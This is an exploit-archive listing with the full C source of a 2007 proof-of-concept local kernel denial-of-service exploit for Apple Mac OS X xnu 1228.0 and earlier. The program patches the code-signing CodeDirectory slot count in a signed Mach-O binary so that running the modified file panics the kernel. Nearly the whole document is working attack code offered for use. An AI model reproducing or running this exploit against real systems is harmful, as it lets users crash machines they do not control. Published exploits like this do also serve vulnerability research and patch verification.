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xnu-superblob-dos.c

xnu-superblob-dos.c
Posted Dec 12, 2007
Authored by mu-b

Apple Mac OS X xnu versions 1228.0 and below local kernel denial of service proof of concept exploit.

tags | exploit, denial of service, kernel, local, proof of concept
systems | apple, osx
SHA-256 | 2e323cf33386194c54a2790669544766a133c7ce2d5fe0d3c4fa8fcb19efa821

xnu-superblob-dos.c

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/* xnu-superblob-dos.c
*
* Copyright (c) 2007 by <mu-b@digit-labs.org>
*
* Apple MACOS X xnu <= 1228.0 local kernel DoS POC
* by mu-b - Mon 10 Dec 2007
*
* - Tested on: Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)
*
* assert trip or bcopy (NULL, ....) in cs_validate_page by causing
* hashes () to return NULL (there are many ways to do this!).
* (bsd/kern/ubc_subr.c)
*
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs 2007!@$!
*/

#include <stdio.h>
#include <stdlib.h>

#include <arpa/inet.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>

#define MAX_PATH_LEN 128

/* change this value if no panic */
#define CSLOTS_DIFF 0x69696969

#define CSSLOT_CODEDIRECTORY 0x0
#define CSMAGIC_CODEDIRECTORY 0xfade0c02 /* CodeDirectory blob */
#define CSMAGIC_EMBEDDED_SIGNATURE 0xfade0cc0 /* embedded form of signature data */

/* bsd/kern/ubc_subr.c */
struct blob_index {
unsigned int type;
unsigned int offset;
};

struct super_blob {
unsigned int magic;
unsigned int length;
unsigned int count;
struct blob_index index[];
};

struct code_directory {
unsigned int magic;
unsigned int length;
unsigned int version;
unsigned int flags;
unsigned int hashOffset;
unsigned int identOffset;
unsigned int nSpecialSlots;
unsigned int nCodeSlots; /* number of ordinary (code) hash slots */
unsigned int codeLimit;
unsigned char hashSize;
unsigned char hashType;
unsigned char spare1;
unsigned char pageSize;
unsigned int spare2;
};

static void *
xmalloc (int num_bytes)
{
char *buf;

buf = malloc (num_bytes);
if (buf == NULL)
{
fprintf (stderr, "malloc (): out of memory allocating %d-bytes!\n", num_bytes);
exit (EXIT_FAILURE);
}

return (buf);
}

int
main (int argc, char ** argv)
{
char fnbuf[MAX_PATH_LEN], *ptr, *cur, *end;
int fd, wfd, found, size;
struct stat fbuf;

printf ("Apple MACOS X xnu <= 1228.0 local kernel DoS PoC\n"
"by: <mu-b@digit-labs.org>\n"
"http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n");

if (argc <= 1)
{
fprintf (stderr, "Usage: %s <signed macho-o binary>\n", argv[0]);
exit (EXIT_SUCCESS);
}

if ((fd = open (argv[1], O_RDONLY)) == -1)
{
perror ("open ()");
exit (EXIT_FAILURE);
}

snprintf (fnbuf, sizeof fnbuf, "%s-pown", argv[1]);

if ((wfd = open (fnbuf, O_RDWR | O_CREAT)) == -1)
{
perror ("open ()");
exit (EXIT_FAILURE);
}

if (fstat (fd, &fbuf) < 0)
{
perror ("fstat ()");
exit (EXIT_FAILURE);
}

size = fbuf.st_size;
ptr = xmalloc (sizeof (char) * size);
end = ptr + size;

if (read (fd, ptr, size) < size)
{
unlink (fnbuf);

perror ("write ()");
exit (EXIT_FAILURE);
}

close (fd);

for (cur = ptr, found = 0;
cur + sizeof (struct super_blob) < end;
cur += sizeof (unsigned long))
{
struct super_blob *blob;
int i, magic;

blob = (struct super_blob *) cur;
magic = ntohl (blob->magic);

if (magic == CSMAGIC_EMBEDDED_SIGNATURE)
{
for (i = 0; i < ntohl (blob->count); i++)
{
int type;

type = ntohl (blob->index[i].type);
if (type == CSSLOT_CODEDIRECTORY)
{
struct code_directory *code;
int offset;

offset = ntohl (blob->index[i].offset);
code = (struct code_directory *) (cur + offset);
magic = ntohl (code->magic);

if (magic == CSMAGIC_CODEDIRECTORY);
{
printf ("* found at offset @0x%08X\n", (char *) code - ptr);
code->nCodeSlots = htonl (CSLOTS_DIFF);
found = 1;
}
}
}
}
}

if (!found)
{
unlink (fnbuf);

fprintf (stderr, "* ARGH! hueristic didn't find our target!\n");
exit (EXIT_FAILURE);
}

write (wfd, ptr, size);
fchmod(wfd, fbuf.st_mode);
close (wfd);

free (ptr);
fprintf (stdout, "* done\nexecute ./%s at your own risk!$%%!\n", fnbuf);

return (EXIT_SUCCESS);
}

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